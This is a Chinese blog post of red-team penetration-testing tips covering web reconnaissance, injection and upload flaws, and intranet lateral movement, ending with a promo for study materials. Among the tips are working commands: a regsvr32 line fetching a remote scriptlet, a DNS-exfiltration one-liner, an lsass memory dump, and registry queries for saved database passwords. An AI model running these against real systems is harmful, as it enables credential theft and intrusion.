写点什么

原来你就是传说中的安(hei)全(ke)人员【红队技巧分享】

用户头像
Machine Gun
关注
发布于: 35 分钟前


前言

有一段时间没有写文章了,也不知写什么,毕竟从攻击方换成防守方,乙方换到甲方,还有些许不适应。。。但还是决定把自己接触渗透所积累的东西也拿出分享,不管糟粕,还是大伙觉得我分享的有用(那阿宽自然是很开心),希望能帮到还在学习路上的朋友,文章若有错误,请及时联系我指出,我也不想误导才学习的朋友。此外,本文为口嗨文,基本在说思路,没有实操。


 


Web 端

(1)信息收集

收集 cms 信息:

  • 1.通过云溪,wapplayzer,fofa,以及 github 上各位表哥写的 baner 等插件脚本收集

  • 2.网站后台,正页,power by "xxx",以及 robots.txt

  • 3.根据经验判断,比如网站的 icon(joomla,dede),目录框架结构(wordpress,discuz!)这些有明显特征的

  • 4.大框架类似,二次模改过来的,比如(onethink-->thinkphp)

  • 5.报错关键字提取,去 github 找有没有相似源码以及类似函数,报错信息可以用 google 语法收集 warning error not exist 等等。

  • 6.一些 cms 可以直接通过 msf 打 use exploit/unix/http/laravel_token_unserialize_exec //关于 laravel RCEuse auxiliary/admin/cisco/cisco_asa_extrabacon //关于思科的设备,CVE-2016-6366

收集端口:

  • 1.这么收集端口没什么好说,方法就那么几种

  • 2.一些端口应该知道的,开了 21,22 等端口,ftp 匿名访问必须尝试(如果匿名登陆成功无法下载文件,尝试加入--no-passive 参数),ssh 弱口令必须尝试一下(各类数据库都外联弱口令尝试一下),81,88,888 常见的 web 端口,389 是 ldap 的默认端口,内网里面可能为域控,445(有些站你怎么打都日不进去,开了 445 的公网配合 msf17010 扫一波),999(phpmyadmin),1234(可能为 redis),6379,3389(guest,shift 都尝试一下),6588(护卫神界面),70000 到 10000 的基本上是 java 的服务,重点关注 weblogic,jboss,shiro,fastjson。其他一些高端口,可能为宝塔,或者边缘业务的端口。

收集子域名:

  • 1.收集的意义在于配合收集的 cms 和端口信息撕开口子

  • 2.看看有没有域传送漏洞,有的话帮你找完

  • 3.多去找找某些 api,某些 api 也可以帮你找全(其所有相关资产)。



  • 4.某些网站有 sql 注入,但是找不到后台,可能就在子域名,子域名可能还有 phpmyadmin

目录扫描:

  • 1.拿到站先不要直接开扫,先把 bp 打开,自己点一下网站的功能,然后在 target 那一栏 bp 会帮我们爬出大体框架

  • 2.如果 ip 被 ban 了,将线程调低,或者在找一个小众一点的扫描器,不行的话自己写一个,py,很快的。

  • 3.尽量通过目录的结构得知为什么 cms,有没有上传的编辑器(fck,eweb 等,很多时候比如我们通过注入找到网站后台账号密码,成功进入后台,但是后台功能单一以至于拿不下 shell,这个时候最好的方法就是去找新的资源,当我们发现一个漏洞很容易被这个漏洞束缚从而思维无法发散)

  • 我们找到 A 服务器的后台:admin/adminlogin.asp(有账号密码但是拿不下)

  • 这个时候不是一直想突破后台,而是发现新的资源 admin/ewebeditor/admin_login.asp(从编辑器入手)

  • 4.比如扫到了 axgg.xml 这个敏感文件,它确实存在却无法访问,比如 www.axgg.com/hdx/hxd/axgg.xml 我们无法访问,可以做一下尝试 www.axgg.com/hdx/.hxd/axgg.xml

  • www.axgg.com/hdx/;abcd/hxd/axgg.xml

  • www.axgg.com/hdx/abcd/../hxd/axgg.xml

  • 5..git svn 如果觉得还原的不全,可以去 kali 重新试试,多下几个工具

  • 6.日志

其他信息收集:

  • 1.c 段,旁站,fofa 搜索 icon,header。

  • 2.phpinfo(收集绝对路径,真实 ip,绕过 xss 的 httponly($_SERVER[“HTTP_COOKIE”]),存在 oci8 推测数据库可能为 oracle,),phpmyadmin,adminer,以及疑似的后门


(同行的马 1.我们可以用 profile=a 看看能不能溢出 2.f12 里面搜索 font,可能会出现密码)

  • 3.同模版网站

  • 4.护网的话,学校医院的学号和工号,可以根据“奖学金 &&值班表” filetype 等关键字搜索

  • 5.扫到了 401 的界面,可以加入 X-Custom-IP-Authorization: 127.0.0.1

  • 6.如果在登录框处,我们可以查看其 Js 文件,测试密码不大可能泄露,但是说不定能找到其他组件,比如 webservices,这个存在注入。

(2)sql 注入


  • 1.不论是前后台,如果可以上传图片,但是上传绕不过,可以考虑图片名改为注入 payload,看看有没有二次注入

  • 2.如果存在注入,好好利用 bp,get/post 切换,参数污染,分块,x-forward-for 改为 127.0.0.1,application/数据流也可以改,bp 里面的一些非主流字符也可以删除掉,比如


以及垃圾数据


  • 3.至于对抗 waf,最重要的是要清楚 waf 的规则,拦截的参数,再来进一步绕过,具体可以参考我的上一篇文章。https://xz.aliyun.com/t/9268

  • 如果读友们觉得写的还不错,我后面有时间一定把其余的漏洞以我目前的认知基础详细的讲一遍。

  • 4.遇到一个 cms 存在盲注,数据出的很慢,我们可以自己本地搭建一个,查看账号密码放在哪个表单。

  • 5.比如一个登录框,登陆的时候叫你选部门,可能账号密码处没有注入,但是你从人事部选择技术部这一步抓包,就会有注入。

  • 6.比如用 union 或者报错打 payload,但是没有数据回显,可以看看 f12 里面是不是有 hidden 属性

  • 7.sqlserver 的 xpcmdshell 写一句话用^转义失败,可以尝试 certuili 的 hex 写入


(3)逻辑漏洞


  • 1.存在注入拿下了账号,但是 admin 的账号 hash 解不开,可以在后台尝试修改密码,看是否存在逻辑漏洞

  • 2.关于爆破的后台验证码,可以更换为万能验证码(0000,8888 我尝试均失败,不知哪儿听说的,哈哈哈哈),当然也可以设置空验证码,或者将验证码这个参数给删除掉。

  • 3.注册账号的时候可以尝试 admin 空格空格空格空格空格空格,看看可不可以覆盖

(4)上传


  • 1.条件竞争其实挺多的,tp 写入 session 也可以想到条件竞争

  • 2.二次渲染,不仅是要了解,而且要大环境复线。

  • 3.bp 里面的各类参数修改,已经说的很多了。

  • 4.看看有没有.user.ini 这个文件,有的话走大运

  • 5.白名单,这类没有解析漏洞或者开发商本身的漏洞,就别想着绕过了。

(5)xss


  • 1.XSS 无非是打 cookie,钓鱼,像更高端的操作比如最近的 chrome,xmind 等 xss 上线 cs,但是在实际项目中是可遇不可求的,真正需要注意的还是 xss 一些 payload 的拓展以及打到了 cookie 怎么绕过 httponly。其实钓鱼的话可以配合弱口令去后台看看能不能改一些模版,虽然现在各类客服的安全意识已经很高了,但是有些时候能不能拿下项目还真的指望他们。

(6)ssrf


  • 1.ssrf 出现的位置,其实 burp 抓包,不管是 get 的参数还是 post 的参数,我们都可以直接 fuzzing,就比如 post 的数据,image=admin,我们 image=http://vps:1234 都要不断尝试。不一定非要在网上说的那几个位置才能想到 ssrf。

  • 2.认清 ssrf 的作用,像 ssrf->getshell 真的太少了,都是配合 ssrf 收集信息打组合拳,就比如配合 redis 那 shell,首先是对面可能存在 redis,然后为授权。然后写东西的时候不出玄学问题,就行了。

  • 3.ssrf 最主要的几个功能是收集服务器的真实 IP,探测内部文件,比如看看能不能通过 gopher,file 等协议读取东西,如果能探测 web 的端口,可以看看找一些 get 参数就能拿东西的漏洞,比如 get 型的 sql 注入

(7)xxe,csrf


  • 1.首先 xxe 我们也可以先将我们的 content-type 改为我们的 application/xml,不管他是 application/data,application/json,都可以改成 application/xml,然后看看 response 对比哈,如果有区别的话可以 FUZZING 一哈 xxe 的 payload

  • 2.关于 csrf,其实 csrf 可以简单的理解借刀杀人,用当前目标的权限去做他能做的事情,如果此后台管理员能编辑模板插入脚本代码,那么我们就可以构造出 POC 去 getshell,但是话又说回来,这 2 个洞我反正在项目中遇到是很少的。



内网

(1)信息收集

其实网上有很多讲内网信息收集,说了很多命令,但是都用的到吗?因为我们收集到不同的信息会对我们的渗透思路完全不同,内网不像 web,你在工作组和在域环境打法是完全不同的,你在域环境找到域控和没找到域控是 2 回事。但是渗透的本质还是不断地收集信息然后横向。首先应该收集的是我们当前控制机器的信息,杀软有哪些,你要是不提权的话可以不看补丁,是否在域环境,是否纯在 IPC 空连接,共享,机器上的一些 txt,xlsx,一般在桌面

dir /b /s *.txtwmic share get name,path,status \查看共享wmic data file where "filename='test' and extension='jpg'" get caption
复制代码


ps:如果没有找到桌面的位置,有些国外的机器或者修改过的项目 reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /s \通过注册表找到是否存在 tg,xshell,navicat 等软件,这些都可以进一步搜集额外的东西破解 navicat

MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v hostreg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwdreg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserNameMariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\SQLite HKEY_CURRENTUSER\Software\PremiumSoft\NavicatSQLite\Servers\
复制代码


本机的 wifi 密码(撞密码),本机浏览器的书签,保存的密码(这个很好破解,比如内网历史记录访问过一个 192.168.7.15/admin.aspx 这个网站,我们查看他的密码需要 Pin,我们直接点进去这个网站,然后 f12 把 hidden 改成 txt 即可),cookie(因为有些要 IP 认证,所以用 cookie),RDP 的凭证,public\document 这个位置,如果运气好或许 Mimikatz 可以破解出来,不过我们当我们不在域环境的时候可以查看连接的 IP 帮我们更好的定位其他机器的位置。本机的网络环境,c 段的 web 资源,数据库位置,信任域(前提是我们是在域环境),等这类东西。最后在是我们的密码,凭证。

(2)关于横向

其实横向的强弱在于我们第一步的信息收集,道理大家都知道,比如我们通过 web 打点拿下一台服务器,同学 a 通过 navicat 解出了 sqlserver 的账号密码,在看了一下 c 段的机器名或者开的端口,找到了数据库,然后在通过 sqlserver 的 IPC 空连接配合 gpc 泄露拿到了密码,虽然这个例子举得太过理想和拉跨,但是想告诉读者朋友们,我们一定要对信息收集这个概念在每一台我们能控制的服务器运用到极致,同学 b 进去抓密码,pth,ms17010(出了永恒之蓝,还有永恒冠军,永恒浪漫,就是原生 py),或者找找 web 日一日,发现日求不动,然后渗透结束。虽然现在委派很火,但是我想说的委派基本上是大集团方便管理,其实我们平时遇到的普通域环境很少用的到,但是学有余力还是务必掌握!

(3)提权

说到提权,其实我们应当明白提权的这个机器对我们有进一步渗透的意义,才去提权,比如我在一个域环境,当前用户就是一个普通域用户,是一个普通的员工机器,但是我 TM 就想一个烂土豆提到 system,然后抓密码,哎,就是玩儿,但是真没必要。什么时候需要提,比如我们在的机器为域机器,但是当前用户却是本地用户,这个时候我们可以一个烂土豆变成 system,然后查看域用户,找域控。就是想告诉大家别没有思路的时候就提权,而是看我们提了权能给我们进一步带来什么,当我们渗透没有思路时,就回顾一下自己打点到目前的位置,是不是每一步的信息收集都收集好了。

(4)权限维持

这一步和提权是一样的,我们应该明白什么时候需要权限维持,不是打点进去,一个 pth 上了三四太机器,然后每一个做一个自启,或者直接注册表修改添加隐藏用户,又或者激活 guest。我们应当审视一下这台机器,他有没有进一步利用的价值再去做权限维持,比如这是一台运维,或者 IT 的机器,怎么看,看这台机器的组,或者机器名,还有桌上的一些文件进行判别。我们做权限维持的目的是这个时间点没有收集到或者错过了收集到一些敏感的东西,所以我们权限维持等待时机,比如键盘记录,cmd 命令记录,如果是 linux 的,我们可以 ssh 劫持。常用的权限维持技巧,自启动,利用 acl 添加普通用户的完全访问权限,利用 DCSync 在域内维持权限等方法。

(5)文件传输

网上也说了很多,我也再说说吧,出了常见的 python,certuili,bitadmin,wget,curl,ftp 等 js,hta,vbs 等这类脚本也可用写入下载的内容或者运用 csc 编译我们写好的 dowoload.cs 也可以用 wmicwmic process call create "regsvr32 /s /n /u /i:http://xxxxx:1337/as.txt scrobj.dll"这样调用

(6)内网的一些小技巧

  • 1.当某些软件正在运行或者权限不够我们看不了,我们可以 copy 到一个位置然后在 type

  • 2.如果某些环境出现中文名而且我们的 c2 工具因为字符不能识别无法正常渗透,可以考虑写入 bat 或者 vbs

  • 3.当我们 mstsc 连接出现问题时,我们可以 mstsc /admin mstsc /console

  • 4.当我们 echo 一个一个字符追加,但是换行了,可以这样



  • 5.拿到 shell,但是 cmd 没有回显cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set =%i & cmd /c nslookup %_:~0,-1%. 6utb0b.dnslog.cn)&del temp


  • 6.如若 3389 登不上,普通方法都检测了,试试 net stop sharedaccess 关闭筛选,如果想多用户登录,可以尝试使用 rdpwrap 这个软件。

  • 7.echo 123 > axgg::$INDEX_ALLOCATION \创建文件夹,有什么用,mysql udf 没有 plugin 的时候删除:rd axgg::$INDEX_ALLOCATION

  • 8.比如我们的命令被禁用或者匹配了其规则,其余思路自由发展



  • 9.当我们遇到 owa 的时候,只要将 HTTP 协议版本修改成 1.0,然后去掉 http 头里面的 HOST 参数,会返回服务器所在的内网 IP,对 OWA 屡试不爽


此外,/owa/auth/trace.axd 会暴露 OWA 版本和内网的代理 IP 信息

  • 10.如果想降权的话可以用 runas 起一个进程

  • 11.提供一个不要 prodump 抓 lsass 的方法 tasklist | findstr lsass.exe 查找 lsass 的 pid 号 powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 592 D:\wwwroot\huodong\lsass.dmp full"

(7)免杀,dll 劫持,dll 注入,委派,bypass uac

这些都是当我们基本打好了以后才能更好的吸收和掌握,网上也有很多师傅讲过,我自己基础差,就不限丑了。



我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

①2000 多本网安必看电子书(主流和经典的书籍应该都有了)

②PHP 标准库资料(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ 网络安全基础入门、Linux 运维,web 安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

 渗透测试工具大全

⑦ 2021 网络安全/Web 安全/渗透测试工程师面试手册大全

点击下方即可免费获取全部资料

【资料获取】



用户头像

Machine Gun

关注

还未添加个人签名 2021.03.28 加入

需要获取网络安全/渗透测试学习资料工具的朋友可联系V:machinegunjoe666 免费索取

评论

发布
暂无评论
原来你就是传说中的安(hei)全(ke)人员【红队技巧分享】